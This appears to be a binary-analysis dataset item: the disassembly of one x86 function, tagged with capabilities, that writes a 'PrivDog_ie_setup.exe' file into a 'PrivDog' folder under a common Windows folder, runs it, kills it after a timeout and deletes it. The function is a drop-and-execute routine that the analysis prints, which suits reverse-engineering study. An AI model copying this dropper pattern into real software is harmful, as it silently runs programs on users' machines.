Function at 0x10001450
Capabilities:
Create directory
Create process on windows
Delete file
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e21e
mov eax, dword fs:[0]
push eax
sub esp, 0x3c0
mov eax, dword [0x10067068]
xor eax, esp
mov dword [esp + 0x3b8], eax
push ebx
push esi
push edi
mov eax, dword [0x10067068]
xor eax, esp
push eax
lea eax, [esp + 0x3d0]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov ecx, dword [ebp + 0xc]
mov dword [esp + 0x2c], esi
test edi, edi
je 0x10001928
mov ebx, dword [ebp + 0x14]
test ebx, ebx
je 0x10001928
lea eax, [esp + 0x18]
push eax
call fcn.10001ba0
mov dword [esp + 0x3d8], 0
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx - 0xc]
test eax, eax
js 0x1000170d
push str..exe
push ecx
call dword [sym.imp.MSVCR100.dll_wcsstr]
add esp, 8
test eax, eax
je 0x1000170d
mov ecx, dword [esp + 0x18]
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
je 0x1000170d
cmp ebx, 0x100000
jae 0x10001533
mov dword [esp + 0x3d8], 0xffffffff
lea eax, [ecx - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10001928
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x10001928
lea ecx, [esp + 0x1bc]
push ecx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0x10057434
lea edx, [esp + 0x1c0]
push edx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea eax, [esp + 0x1c0]
push eax
call ebx
push str.PrivDog
lea ecx, [esp + 0x1c0]
push ecx
call esi
push 0
lea edx, [esp + 0x1c0]
push edx
call ebx
push str.PrivDog_ie_setup.exe
lea eax, [esp + 0x1c0]
push eax
call esi
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x1c0]
call fcn.10001ba0
push 0
push 0x80
push 2
push 0
push 0
mov ebx, 1
mov byte [esp + 0x3ec], bl
mov edx, dword [esp + 0x28]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001916
mov ecx, dword [ebp + 0x14]
push 0
lea eax, [esp + 0x30]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10001916
lea edx, [esp + 0x20]
push edx
mov ecx, str._u__s
call fcn.10001ba0
mov byte [esp + 0x3d8], 2
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.10002a30
lea edi, [eax + 0x10]
mov dword [esp + 0x1c], edi
mov byte [esp + 0x3d8], 3
cmp dword [edi - 4], ebx
jle 0x1000164c
mov eax, dword [edi - 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
call fcn.10002580
mov edi, dword [esp + 0x1c]
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea esi, [esp + 0x1c]
call fcn.10001b40
push 0x38
lea edx, [esp + 0x80]
push 0
push edx
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
lea edx, [esp + 0x78]
push edx
mov dword [esp + 0x7c], 0x3c
mov dword [esp + 0x88], str.open
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
mov dword [esp + 0x94], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x100016f6
mov eax, dword [esp + 0xb0]
test eax, eax
je 0x100016eb
push 0x12c
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100016dd
mov eax, dword [esp + 0xb0]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0xb0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x1c]
call fcn.10002560
lea eax, [esp + 0x20]
call fcn.10002560
jmp 0x10001916
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
push 3
push edi
lea ecx, [esp + 0xbc]
lea eax, [esp + 0xc0]
mov byte [esp + 0x3e0], 4
push ecx
mov dword [esp + 0xc0], eax
call fcn.10002610
mov byte [esp + 0x3d8], 5
mov edx, dword [esp + 0xb4]
push ebx
push edx
lea ebx, [esp + 0x1c]
call fcn.100019f0
mov eax, dword [esp + 0xb4]
mov edi, dword [sym.imp.MSVCR100.dll_free]
lea ecx, [esp + 0xb8]
cmp eax, ecx
je 0x10001781
push eax
call edi
add esp, 4
xor ebx, ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 1
mov dword [esp + 0x30], ebx
mov byte [esp + 0x3d8], 6
mov eax, dword [esi + 0x24dc]
lea ecx, [esp + 0x30]
call fcn.10001ca0
test eax, eax
je 0x1000180e
mov eax, dword [esp + 0x34]
cmp eax, ebx
je 0x100017d0
push eax
call edi
add esp, 4
mov byte [esp + 0x3d8], bl
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100017f7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x3d8], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
jmp 0x10001511
lea ecx, [esp + 0x50]
push ecx
call fcn.100024c0
lea edx, [esp + 0x50]
mov byte [esp + 0x3d8], 7
mov eax, dword [esp + 0x14]
push edx
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.10001d80
test eax, eax
jne 0x10001855
lea esi, [esp + 0x50]
call fcn.10001960
mov eax, dword [esp + 0x34]
cmp eax, ebx
je 0x10001916
push eax
call edi
jmp 0x10001913
lea esi, [esp + 0x20]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], ebx
call fcn.10001b80
lea esi, [esp + 0x28]
call fcn.10001b80
lea edi, [esp + 0x1c]
lea esi, [esp + 0x24]
xor ecx, ecx
lea eax, [esp + 0x50]
mov byte [esp + 0x3d8], 9
call fcn.10002460
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
sub edx, eax
sar edx, 1
push edx
push eax
lea ebx, [esp + 0x28]
call fcn.100019f0
mov ecx, 1
lea eax, [esp + 0x50]
call fcn.10002460
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
sub ecx, eax
sar ecx, 1
push ecx
push eax
lea ebx, [esp + 0x30]
call fcn.100019f0
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
push edi
mov ecx, esi
call fcn.100019a0
test al, al
je 0x100018e9
mov eax, dword [esp + 0x28]
mov edx, dword [esi]
mov edx, dword [edx + 0x10]
push eax
push edi
mov ecx, esi
call edx
lea eax, [esp + 0x28]
call fcn.10002560
lea eax, [esp + 0x20]
call fcn.10002560
lea esi, [esp + 0x50]
call fcn.10001960
mov eax, dword [esp + 0x34]
test eax, eax
je 0x10001916
push eax
call dword [sym.imp.MSVCR100.dll_free]
add esp, 4
lea eax, [esp + 0x14]
call fcn.10002560
lea eax, [esp + 0x18]
call fcn.10002560
mov ecx, dword [esp + 0x3d0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3b8]
xor ecx, esp
call fcn.10048188
mov esp, ebp
pop ebp
ret 0x10